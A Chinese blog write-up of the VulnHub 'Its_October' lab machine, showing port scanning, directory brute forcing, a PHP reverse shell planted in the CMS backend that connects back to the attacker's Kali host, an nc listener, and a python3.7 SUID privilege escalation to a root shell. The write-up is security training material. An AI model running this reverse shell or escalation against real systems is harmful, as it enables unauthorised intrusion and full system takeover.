vulnhub:Its_October靶机

kali:192.168.111.111

靶机:192.168.111.175

信息收集

端口扫描

nmap -A -v -sV -T5 -p- --script=http-enum 192.168.111.175

image

8080端口查看源码提示存在mynote.txt文件

image

获得账号:admin,密码:adminadmin2

image

目录爆破发现80端口网站后台

gobuster dir -u http://192.168.111.175 -w /opt/zidian/SecLists-2022.2/Discovery/Web-Content/raft-large-directories-lowercase.txt -x php,html,txt,bak,sql

image

在后台添加页面反弹shell

function onStart(){
    $s=fsockopen("192.168.111.111",4444);
    $proc=proc_open("/bin/sh -i", array(0=>$s, 1=>$s, 2=>$s),$pipes);
    }

image

本地使用nc监听,后访问网站根目录

nc -lvp 4444
http://192.168.111.175/shell

image

提权

查找suid权限的文件

find / -perm -u=s -exec ls -al {} \; 2> /dev/null

image

发现python3.7具有suid权限,提权方法:https://gtfobins.github.io/gtfobins/python/#suid

python3.7 -c 'import os; os.execl("/bin/sh", "sh", "-p")'

image

获得flag

image

posted @ 2023-02-04 20:00  ctostm  阅读(28)  评论(0)    收藏  举报